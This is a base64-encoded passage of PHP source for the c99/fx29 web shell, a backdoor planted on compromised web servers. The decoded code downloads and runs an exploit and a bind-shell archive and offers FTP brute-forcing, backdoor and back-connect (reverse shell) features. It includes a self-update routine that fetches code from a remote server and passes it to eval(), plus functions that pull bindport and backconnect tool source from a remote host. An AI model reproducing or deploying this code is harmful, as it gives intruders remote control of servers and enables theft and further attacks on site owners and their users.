aW51cmwuInRvb2x6L2JpbmQudGFyLmd6O3RhciAtenh2ZiBiaW5kLnRhci5nejsuLzQ4NzciKSwNCiAgICBhcnJheSgid2dldCBTdWRvIEV4cGxvaXQiLCJ3Z2V0IGh0dHA6Ly93d3cuc2VjdXJpdHlmb2N1cy5jb20vZGF0YS92dWxuZXJhYmlsaXRpZXMvZXhwbG9pdHMvc3Vkby1leHBsb2l0LmMiKSwNCiAgKTsNCn0NCmVsc2Ugew0KICAkY21kYWxpYXNlcyA9IGFycmF5KA0KICAgIGFycmF5KCIiLCAiZGlyIiksDQogICAgYXJyYXkoIkZpbmQgaW5kZXgucGhwIGluIGN1cnJlbnQgZGlyIiwgImRpciAvcyAvdyAvYiBpbmRleC5waHAiKSwNCiAgICBhcnJheSgiRmluZCAqY29uZmlnKi5waHAgaW4gY3VycmVudCBkaXIiLCAiZGlyIC9zIC93IC9iICpjb25maWcqLnBocCIpLA0KICAgIGFycmF5KCJGaW5kIGM5OXNoZWxsIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgL2MgXCJjOTlcIiAqIiksDQogICAgYXJyYXkoIkZpbmQgcjU3c2hlbGwgaW4gY3VycmVudCBkaXIiLCAiZmluZCAvYyBcInI1N1wiICoiKSwNCiAgICBhcnJheSgiU2hvdyBhY3RpdmUgY29ubmVjdGlvbnMiLCAibmV0c3RhdCAtYW4iKSwNCiAgICBhcnJheSgiU2hvdyBydW5uaW5nIHNlcnZpY2VzIiwgIm5ldCBzdGFydCIpLA0KICAgIGFycmF5KCJVc2VyIGFjY291bnRzIiwgIm5ldCB1c2VyIiksDQogICAgYXJyYXkoIlNob3cgY29tcHV0ZXJzIiwgIm5ldCB2aWV3IiksDQogICAgKTsNCn0NCi8vUEhQIEZpbGVzeXN0ZW0gRnVuY3Rpb25zDQokcGhwZnNhbGlhc2VzID0gYXJyYXkoDQogICAgYXJyYXkoIlJlYWQgRmlsZSIsICJyZWFkIiksDQogICAgYXJyYXkoIldyaXRlIEZpbGUgKFBIUDUpIiwgIndyaXRlIiksDQogICAgYXJyYXkoIkNvcHkiLCAiY29weSIpLA0KICAgIGFycmF5KCJSZW5hbWUvTW92ZSIsICJyZW5hbWUiKSwNCiAgICBhcnJheSgiRGVsZXRlIiwgImRlbGV0ZSIpLA0KICAgIGFycmF5KCJNYWtlIERpciIsIm1rZGlyIiksDQogICAgYXJyYXkoIi0tLS0tIiwgIiIpLA0KICAgIGFycmF5KCJEb3dubG9hZCIsICJkb3dubG9hZCIpLA0KICAgIGFycmF5KCJEb3dubG9hZCAoQmluYXJ5IFNhZmUpIiwgImRvd25sb2FkYmluIiksDQogICAgYXJyYXkoIkNoYW5nZSBQZXJtICgwNzU1KSIsICJjaG1vZCIpLA0KICAgIGFycmF5KCJGaW5kIFdyaXRhYmxlIERpciIsICJmd3JpdGFibGVkaXIiKSwNCiAgICBhcnJheSgiRmluZCBQYXRobmFtZSBQYXR0ZXJuIiwgImdsb2IiKSwNCik7DQoNCi8vUXVpY2sgbGF1bmNoDQokcXVpY2tsYXVuY2gxID0gYXJyYXkoDQogICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9aG9tZVwiIGFsdD1cIkhvbWVcIiBib3JkZXI9XCIwXCI+Iiwkc3VybCksDQogICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9YmFja1wiIGFsdD1cIkJhY2tcIiBib3JkZXI9XCIwXCI+IiwiI1wiIG9uY2xpY2s9XCJoaXN0b3J5LmJhY2soMSkiKSwNCiAgICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1mb3J3YXJkXCIgYWx0PVwiRm9yd2FyZFwiIGJvcmRlcj1cIjBcIj4iLCIjXCIgb25jbGljaz1cImhpc3RvcnkuZ28oMSkiKSwNCiAgICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz11cFwiIGFsdD1cIlVwXCIgYm9yZGVyPVwiMFwiPiIsJHN1cmwuImFjdD1scyZkPSV1cGQmc29ydD0lc29ydCIpLA0KICAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNlYXJjaFwiIGFsdD1cIlNlYXJjaFwiIGJvcmRlcj1cIjBcIj4iLCRzdXJsLiJhY3Q9c2VhcmNoJmQ9JWQiKSwNCiAgICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1idWZmZXJcIiBhbHQ9XCJCdWZmZXJcIiBib3JkZXI9XCIwXCI+Iiwkc3VybC4iYWN0PWZzYnVmZiZkPSVkIikNCik7DQokcXVpY2tsYXVuY2gyID0gYXJyYXkoDQogICAgYXJyYXkoIkVudW1lcmF0ZSIsJGVudW1lcmF0ZSksDQogICAgYXJyYXkoIlNlY3VyaXR5IEluZm8iLCRzdXJsLiJhY3Q9c2VjdXJpdHkmZD0lZCIpLA0KICAgIGFycmF5KCJQcm9jZXNzZXMiLCRzdXJsLiJhY3Q9cHJvY2Vzc2VzJmQ9JWQiKSwNCiAgICBhcnJheSgiTXlTUUwiLCRzdXJsLiJhY3Q9c3FsJmQ9JWQiKSwNCiAgICBhcnJheSgiUEhQLUNvZGUiLCRzdXJsLiJhY3Q9ZXZhbCZkPSVkIiksDQogICAgYXJyYXkoIkVuY29kZXIiLCRzdXJsLiJhY3Q9ZW5jb2RlciZkPSVkIiksDQogICAgYXJyYXkoIk1haWxlciIsJHN1cmwuImFjdD1meG1haWxlciIpLA0KICAgIGFycmF5KCJtaWx3MHJtIGl0ISIsJG1pbGxpbmspLA0KICAgIGFycmF5KCJNZDUtTG9va3VwIiwiaHR0cDovL2RhcmtjMGRlLmNvbS9kYXRhYmFzZS9tZDVsb29rdXAuaHRtbCIpLA0KICAgIGFycmF5KCJXb3JkLUxpc3RzIiwiaHR0cDovL2RhcmtjMGRlLmNvbS93b3JkbGlzdHMvIiksDQogICAgYXJyYXkoIlRvb2x6Iiwkc3VybC4iYWN0PXRvb2xzJmQ9JWQiKSwNCiAgICBhcnJheSgiU2VsZi1LaWxsIiwkc3VybC4iYWN0PXNlbGZyZW1vdmUiKSwNCiAgICBhcnJheSgiRmVlZGJhY2siLCRzdXJsLiJhY3Q9ZmVlZGJhY2siKSwNCiAgICBhcnJheSgiVXBkYXRlIiwkc3VybC4iYWN0PXVwZGF0ZSIpLA0KICAgIGFycmF5KCJBYm91dCIsJHN1cmwuImFjdD1hYm91dCIpDQopOw0KDQppZiAoISR3aW4pIHsNCiRxdWlja2xhdW5jaDJbXSA9IGFycmF5KCI8YnI+RlRQLUJydXRlIiwkc3VybC4iYWN0PWZ0cHF1aWNrYnJ1dGUmZD0lZCIpOw0KJHF1aWNrbGF1bmNoMltdID0gYXJyYXkoIkJhY2tkb29yIiwkc3VybC4iYWN0PXNoYmQiKTsNCiRxdWlja2xhdW5jaDJbXSA9IGFycmF5KCJCYWNrLUNvbm5lY3QiLCRzdXJsLiJhY3Q9YmFja2MiKTsNCn0NCg0KLy9IaWdobGlnaHQtY29kZSBjb2xvcnMNCiRoaWdobGlnaHRfYmFja2dyb3VuZCA9ICIjQzBDMEMwIjsNCiRoaWdobGlnaHRfYmcgPSAiI0ZGRkZGRiI7DQokaGlnaGxpZ2h0X2NvbW1lbnQgPSAiIzZBNkE2QSI7DQokaGlnaGxpZ2h0X2RlZmF1bHQgPSAiIzAwMDBCQiI7DQokaGlnaGxpZ2h0X2h0bWwgPSAiIzEzMDBGRiI7DQokaGlnaGxpZ2h0X2tleXdvcmQgPSAiIzAwNzcwMCI7DQokaGlnaGxpZ2h0X3N0cmluZyA9ICIjMDAwMDAwIjsNCg0KQCRmID0gJF9SRVFVRVNUWyJmIl07DQpAZXh0cmFjdCgkX1JFUVVFU1RbImM5OXNoY29vayJdKTsNCi8vRU5EIE9GIENPTkZJR1VSQVRJT05TDQoNCi8vU1RPUCBFRElUSU5HIQ0KDQovL0F1dGhlbnRpY2F0aW9uDQpAc2V0X3RpbWVfbGltaXQoMCk7DQokdG1wID0gYXJyYXkoKTsNCmZvcmVhY2ggKCRob3N0X2FsbG93IGFzICRrPT4kdikgeyAkdG1wW10gPSBzdHJfcmVwbGFjZSgiXFwqIiwiLioiLHByZWdfcXVvdGUoJHYpKTsgfQ0KJHMgPSAiIV4oIi5pbXBsb2RlKCJ8IiwkdG1wKS4iKSQhaSI7DQppZiAoIXByZWdfbWF0Y2goJHMsZ2V0ZW52KCJSRU1PVEVfQUREUiIpKSBhbmQgIXByZWdfbWF0Y2goJHMsZ2V0aG9zdGJ5YWRkcihnZXRlbnYoIlJFTU9URV9BRERSIikpKSkgew0KICBleGl0KCI8YSBocmVmPVwiJHNoX21haW51cmxcIj4kc2hfbmFtZTwvYT46IEFjY2VzcyBEZW5pZWQgLSBZb3VyIGhvc3QgKCIuZ2V0ZW52KCJSRU1PVEVfQUREUiIpLiIpIG5vdCBhbGxvd2VkIik7DQp9DQppZiAoIWVtcHR5KCRsb2dpbikpIHsNCiAgaWYgKGVtcHR5KCRtZDVfcGFzcykpIHskbWQ1X3Bhc3MgPSBtZDUoJHBhc3MpO30NCiAgaWYgKCgkX1NFUlZFUlsiUEhQX0FVVEhfVVNFUiJdICE9ICRsb2dpbikgb3IgKG1kNSgkX1NFUlZFUlsiUEhQX0FVVEhfUFciXSkgIT0gJG1kNV9wYXNzKSkgew0KICAgIGhlYWRlcigiV1dXLUF1dGhlbnRpY2F0ZTogQmFzaWMgcmVhbG09XCIiLiRzaF9uYW1lLiI6ICIuJGxvZ2luX3R4dC4iXCIiKTsNCiAgICBoZWFkZXIoIkhUVFAvMS4wIDQwMSBVbmF1dGhvcml6ZWQiKTsNCiAgICBleGl0KCRhY2Nlc3NkZW5pZWRtZXNzKTsNCiAgfQ0KfQ0KaWYgKCRhY3QgIT0gImltZyIpIHsNCiAgJGxhc3RkaXIgPSByZWFscGF0aCgiLiIpOw0KICBjaGRpcigkY3VyZGlyKTsNCiAgaWYgKCRzZWxmd3JpdGUgb3IgJHVwZGF0ZW5vdykgew0KICAgIEBvYl9jbGVhbigpOw0KICAgIGM5OXNoX2dldHVwZGF0ZSgkc2VsZndyaXRlLDEpOw0KICAgIGV4aXQ7DQogIH0NCiAgJHNlc3NfZGF0YSA9IHVuc2VyaWFsaXplKCRfQ09PS0lFWyIkc2Vzc19jb29raWUiXSk7DQogIGlmICghaXNfYXJyYXkoJHNlc3NfZGF0YSkpIHskc2Vzc19kYXRhID0gYXJyYXkoKTt9DQogIGlmICghaXNfYXJyYXkoJHNlc3NfZGF0YVsiY29weSJdKSkgeyRzZXNzX2RhdGFbImNvcHkiXSA9IGFycmF5KCk7fQ0KICBpZiAoIWlzX2FycmF5KCRzZXNzX2RhdGFbImN1dCJdKSkgeyRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXkoKTt9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTlnZXRzb3VyY2UiKSkgew0KICAgIGZ1bmN0aW9uIGM5OWdldHNvdXJjZSgkZm4pIHsNCiAgICAgIGdsb2JhbCAkYzk5c2hfc291cmNlc3VybDsNCiAgICAgICRhcnJheSA9IGFycmF5KA0KICAgICAgICAiYzk5c2hfYmluZHBvcnQucGwiID0+ICJjOTlzaF9iaW5kcG9ydF9wbC50eHQiLA0KICAgICAgICAiYzk5c2hfYmluZHBvcnQuYyIgPT4gImM5OXNoX2JpbmRwb3J0X2MudHh0IiwNCiAgICAgICAgImM5OXNoX2JhY2tjb25uLnBsIiA9PiAiYzk5c2hfYmFja2Nvbm5fcGwudHh0IiwNCiAgICAgICAgImM5OXNoX2JhY2tjb25uLmMiID0+ICJjOTlzaF9iYWNrY29ubl9jLnR4dCIsDQogICAgICAgICJjOTlzaF9kYXRhcGlwZS5wbCIgPT4gImM5OXNoX2RhdGFwaXBlX3BsLnR4dCIsDQogICAgICAgICJjOTlzaF9kYXRhcGlwZS5jIiA9PiAiYzk5c2hfZGF0YXBpcGVfYy50eHQiLA0KICAgICAgKTsNCiAgICAgICRuYW1lID0gJGFycmF5WyRmbl07DQogICAgICBpZiAoJG5hbWUpIHtyZXR1cm4gZmlsZV9nZXRfY29udGVudHMoJGM5OXNoX3NvdXJjZXN1cmwuJG5hbWUpO30NCiAgICAgIGVsc2Uge3JldHVybiBGQUxTRTt9DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTlzaF9nZXR1cGRhdGUiKSkgew0KICAgIGZ1bmN0aW9uIGM5OXNoX2dldHVwZGF0ZSgkdXBkYXRlID0gVFJVRSkgew0KICAgICAgJHVybCA9ICRHTE9CQUxTWyJjOTlzaF91cGRhdGV1cmwiXS4iP3ZlcnNpb249Ii51cmxlbmNvZGUoYmFzZTY0X2VuY29kZSgkR0xPQkFMU1sic2hfdmVyIl0pKS4iJnVwZGF0ZW5vdz0iLigkdXBkYXRlbm93PyIxIjoiMCIpOw0KICAgICAgJGRhdGEgPSBAZmlsZV9nZXRfY29udGVudHMoJHVybCk7DQogICAgICBpZiAoISRkYXRhKSB7cmV0dXJuICJDYW4ndCBjb25uZWN0IHRvIHVwZGF0ZS1zZXJ2ZXIhIjt9DQogICAgICBlbHNlIHsNCiAgICAgICAgJGRhdGEgPSBsdHJpbSgkZGF0YSk7DQogICAgICAgICRzdHJpbmcgPSBzdWJzdHIoJGRhdGEsMyxvcmQoJGRhdGF7Mn0pKTsNCiAgICAgICAgaWYgKCRkYXRhezB9ID09ICJceDk5IiBhbmQgJGRhdGF7MX0gPT0gIlx4MDEiKSB7cmV0dXJuICJFcnJvcjogIi4kc3RyaW5nOyByZXR1cm4gRkFMU0U7fQ0KICAgICAgICBpZiAoJGRhdGF7MH0gPT0gIlx4OTkiIGFuZCAkZGF0YXsxfSA9PSAiXHgwMiIpIHtyZXR1cm4gIllvdSBhcmUgdXNpbmcgbGF0ZXN0IHZlcnNpb24hIjt9DQogICAgICAgIGlmICgkZGF0YXswfSA9PSAiXHg5OSIgYW5kICRkYXRhezF9ID09ICJceDAzIikgew0KICAgICAgICAgICRzdHJpbmcgPSBleHBsb2RlKCJ8Iiwkc3RyaW5nKTsNCiAgICAgICAgICBpZiAoJHVwZGF0ZSkgew0KICAgICAgICAgICAgJGNvbmZ2YXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRzb3VyY2V1cmwgPSAkc3RyaW5nWzBdOw0KICAgICAgICAgICAgJHNvdXJjZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRzb3VyY2V1cmwpOw0KICAgICAgICAgICAgaWYgKCEkc291cmNlKSB7cmV0dXJuICJDYW4ndCBmZXRjaCB1cGRhdGUhIjt9DQogICAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICAgJGZwID0gZm9wZW4oX19GSUxFX18sInciKTsNCiAgICAgICAgICAgICAgaWYgKCEkZnApIHtyZXR1cm4gIkxvY2FsIGVycm9yOiBjYW4ndCB3cml0ZSB1cGRhdGUgdG8gIi5fX0ZJTEVfXy4iISBZb3UgbWF5IGRvd25sb2FkIGZ4MjlzaGVsbC5waHAgbWFudWFsbHkgPGEgaHJlZj1cIiIuJHNvdXJjZXVybC4iXCI+PHU+aGVyZTwvdT48L2E+LiI7fQ0KICAgICAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICAgICBmd3JpdGUoJGZwLCRzb3VyY2UpOw0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOw0KICAgICAgICAgICAgICAgIHJldHVybiAiVGhhbmtzISBVcGRhdGUgY29tcGxldGVkLiI7DQogICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICB9DQogICAgICAgICAgZWxzZSB7cmV0dXJuICJOZXcgdmVyc2lvbiBhcmUgYXZhaWxhYmxlOiAiLiRzdHJpbmdbMV07fQ0KICAgICAgICB9DQogICAgICAgIGVsc2VpZiAoJGRhdGF7MH0gPT0gIlx4OTkiIGFuZCAkZGF0YXsxfSA9PSAiXHgwNCIpIHsNCiAgICAgICAgICBldmFsKCRzdHJpbmcpOw0KICAgICAgICAgIHJldHVybiAxOw0KICAgICAgICB9DQogICAgICAgIGVsc2Uge3JldHVybiAiRXJyb3IgaW4gcHJvdG9jb2w6IHNlZ21lbnRhdGlvbiBmYWlsZWQhICgiLiRkYXRhLiIpICI7fQ0KICAgICAgfQ0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiYzk5X2J1ZmZfcHJlcGFyZSIpKSB7DQogICAgZnVuY3Rpb24gYzk5X2J1ZmZfcHJlcGFyZSgpIHsNCiAgICAgIGdsb2JhbCAkc2Vzc19kYXRhOw0KICAgICAgZ2xvYmFsICRhY3Q7DQogICAgICBmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHskc2Vzc19kYXRhWyJjb3B5Il1bJGtdID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLHJlYWxwYXRoKCR2KSk7fQ0KICAgICAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHskc2Vzc19kYXRhWyJjdXQiXVska10gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IscmVhbHBhdGgoJHYpKTt9DQogICAgICAkc2Vzc19kYXRhWyJjb3B5Il0gPSBhcnJheV91bmlxdWUoJHNlc3NfZGF0YVsiY29weSJdKTsNCiAgICAgICRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXlfdW5pcXVlKCRzZXNzX2RhdGFbImN1dCJdKTsNCiAgICAgIHNvcnQoJHNlc3NfZGF0YVsiY29weSJdKTsNCiAgICAgIHNvcnQoJHNlc3NfZGF0YVsiY3V0Il0pOw0KICAgICAgaWYgKCRhY3QgIT0gImNvcHkiKSB7Zm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHtpZiAoJHNlc3NfZGF0YVsiY29weSJdWyRrXSA9PSAkdikge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pOyB9fX0NCiAgICAgIGVsc2Uge2ZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikge2lmICgkc2Vzc19kYXRhWyJjdXQiXVska10gPT0gJHYpIHt1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pO319fQ0KICAgIH0NCiAgfQ0KICBjOTlfYnVmZl9wcmVwYXJlKCk7DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTlfc2Vzc19wdXQiKSkgew0KICAgIGZ1bmN0aW9uIGM5OV9zZXNzX3B1dCgkZGF0YSkgew0KICAgICAgZ2xvYmFsICRzZXNzX2Nvb2tpZTsNCiAgICAgIGdsb2JhbCAkc2Vzc19kYXRhOw0KICAgICAgYzk5X2J1ZmZfcHJlcGFyZSgpOw0KICAgICAgJHNlc3NfZGF0YSA9ICRkYXRhOw0KICAgICAgJGRhdGEgPSBzZXJpYWxpemUoJGRhdGEpOw0KICAgICAgc2V0Y29va2llKCRzZXNzX2Nvb2tpZSwkZGF0YSk7DQogICAgfQ0KICB9DQogIGZvcmVhY2ggKGFycmF5KCJzb3J0Iiwic3FsX3NvcnQiKSBhcyAkdikgew0KICAgIGlmICghZW1wdHkoJF9HRVRbJHZdKSkgeyQkdiA9ICRfR0VUWyR2XTt9DQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJHZdKSkgeyQkdiA9ICRfUE9TVFskdl07fQ0KICB9DQogIGlmICgkc29ydF9zYXZlKSB7DQogICAgaWYgKCFlbXB0eSgkc29ydCkpIHtzZXRjb29raWUoInNvcnQiLCRzb3J0KTt9DQogICAgaWYgKCFlbXB0eSgkc3FsX3NvcnQpKSB7c2V0Y29va2llKCJzcWxfc29ydCIsJHNxbF9zb3J0KTt9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInN0cjJtaW5pIikpIHsNCiAgICBmdW5jdGlvbiBzdHIybWluaSgkY29udGVudCwkbGVuKSB7DQogICAgICBpZiAoc3RybGVuKCRjb250ZW50KSA+ICRsZW4pIHsNCiAgICAgICAgJGxlbiA9IGNlaWwoJGxlbi8yKSAtIDI7DQogICAgICAgIHJldHVybiBzdWJzdHIoJGNvbnRlbnQsIDAsJGxlbikuIi4uLiIuc3Vic3RyKCRjb250ZW50LC0kbGVuKTsNCiAgICAgIH0gZWxzZSB7cmV0dXJuICRjb250ZW50O30NCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfc2l6ZSIpKSB7DQogICAgZnVuY3Rpb24gdmlld19zaXplKCRzaXplKSB7DQogICAgICBpZiAoIWlzX251bWVyaWMoJHNpemUpKSB7IHJldHVybiBGQUxTRTsgfQ0KICAgICAgZWxzZSB7DQogICAgICAgIGlmICgkc2l6ZSA+PSAxMDczNzQxODI0KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDczNzQxODI0KjEwMCkvMTAwIC4iIEdCIjt9DQogICAgICAgIGVsc2VpZiAoJHNpemUgPj0gMTA0ODU3NikgeyRzaXplID0gcm91bmQoJHNpemUvMTA0ODU3NioxMDApLzEwMCAuIiBNQiI7fQ0KICAgICAgICBlbHNlaWYgKCRzaXplID49IDEwMjQpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwMjQqMTAwKS8xMDAgLiIgS0IiO30NCiAgICAgICAgZWxzZSB7JHNpemUgPSAkc2l6ZSAuICIgQiI7fQ0KICAgICAgICByZXR1cm4gJHNpemU7DQogICAgICB9DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19jb3B5X2RpciIpKSB7DQogICAgZnVuY3Rpb24gZnNfY29weV9kaXIoJGQsJHQpIHsNCiAgICAgICRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsNCiAgICAgIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgICAgICRoID0gb3BlbmRpcigkZCk7DQogICAgICB3aGlsZSAoKCRvID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkgew0KICAgICAgICBpZiAoKCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkgew0KICAgICAgICAgIGlmICghaXNfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pKSB7JHJldCA9IGNvcHkoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9DQogICAgICAgICAgZWxzZSB7JHJldCA9IG1rZGlyKCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pOyBmc19jb3B5X2RpcigkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30NCiAgICAgICAgICBpZiAoISRyZXQpIHtyZXR1cm4gJHJldDt9DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgIGNsb3NlZGlyKCRoKTsNCiAgICAgIHJldHVybiBUUlVFOw0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfY29weV9vYmoiKSkgew0KICAgIGZ1bmN0aW9uIGZzX2NvcHlfb2JqKCRkLCR0KSB7DQogICAgICAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogICAgICAkdCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdCk7DQogICAgICBpZiAoIWlzX2RpcihkaXJuYW1lKCR0KSkpIHtta2RpcihkaXJuYW1lKCR0KSk7fQ0KICAgICAgaWYgKGlzX2RpcigkZCkpIHsNCiAgICAgICAgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICAgICAgICBpZiAoc3Vic3RyKCR0LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgICAgIHJldHVybiBmc19jb3B5X2RpcigkZCwkdCk7DQogICAgICB9DQogICAgICBlbHNlaWYgKGlzX2ZpbGUoJGQpKSB7IHJldHVybiBjb3B5KCRkLCR0KTsgfQ0KICAgICAgZWxzZSB7IHJldHVybiBGQUxTRTsgfQ0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfbW92ZV9kaXIiKSkgew0KICAgIGZ1bmN0aW9uIGZzX21vdmVfZGlyKCRkLCR0KSB7DQogICAgICAkaCA9IG9wZW5kaXIoJGQpOw0KICAgICAgaWYgKCFpc19kaXIoJHQpKSB7bWtkaXIoJHQpO30NCiAgICAgIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKSB7DQogICAgICAgIGlmICgoJG8gIT0gIi4iKSBhbmQgKCRvICE9ICIuLiIpKSB7DQogICAgICAgICAgJHJldCA9IFRSVUU7DQogICAgICAgICAgaWYgKCFpc19kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gY29weSgkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30NCiAgICAgICAgICBlbHNlIHtpZiAobWtkaXIoJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykgYW5kIGZzX2NvcHlfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8sJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gRkFMU0U7fX0NCiAgICAgICAgICBpZiAoISRyZXQpIHtyZXR1cm4gJHJldDt9DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgIGNsb3NlZGlyKCRoKTsNCiAgICAgIHJldHVybiBUUlVFOw0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfbW92ZV9vYmoiKSkgew0KICAgIGZ1bmN0aW9uIGZzX21vdmVfb2JqKCRkLCR0KSB7DQogICAgICAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogICAgICAkdCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdCk7DQogICAgICBpZiAoaXNfZGlyKCRkKSkgew0KICAgICAgICBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgICAgIGlmIChzdWJzdHIoJHQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgICAgICAgcmV0dXJuIGZzX21vdmVfZGlyKCRkLCR0KTsNCiAgICAgIH0NCiAgICAgIGVsc2VpZiAoaXNfZmlsZSgkZCkpIHsNCiAgICAgICAgaWYoY29weSgkZCwkdCkpIHtyZXR1cm4gdW5saW5rKCRkKTt9DQogICAgICAgIGVsc2Uge3VubGluaygkdCk7IHJldHVybiBGQUxTRTt9DQogICAgICB9DQogICAgICBlbHNlIHtyZXR1cm4gRkFMU0U7fQ0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfcm1kaXIiKSkgew0KICAgIGZ1bmN0aW9uIGZzX3JtZGlyKCRkKSB7DQogICAgICAkaCA9IG9wZW5kaXIoJGQpOw0KICAgICAgd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpIHsNCiAgICAgICAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpIHsNCiAgICAgICAgICBpZiAoIWlzX2RpcigkZC4kbykpIHt1bmxpbmsoJGQuJG8pO30NCiAgICAgICAgICBlbHNlIHtmc19ybWRpcigkZC4kby5ESVJFQ1RPUllfU0VQQVJBVE9SKTsgcm1kaXIoJGQuJG8pO30NCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgY2xvc2VkaXIoJGgpOw0KICAgICAgcm1kaXIoJGQpOw0KICAgICAgcmV0dXJuICFpc19kaXIoJGQpOw0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfcm1vYmoiKSkgew0KICAgIGZ1bmN0aW9uIGZzX3Jtb2JqKCRvKSB7DQogICAgICAkbyA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkbyk7DQogICAgICBpZiAoaXNfZGlyKCRvKSkgew0KICAgICAgICBpZiAoc3Vic3RyKCRvLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JG8gLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgICAgIHJldHVybiBmc19ybWRpcigkbyk7DQogICAgICB9DQogICAgICBlbHNlaWYgKGlzX2ZpbGUoJG8pKSB7cmV0dXJuIHVubGluaygkbyk7fQ0KICAgICAgZWxzZSB7cmV0dXJuIEZBTFNFO30NCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInRhYnN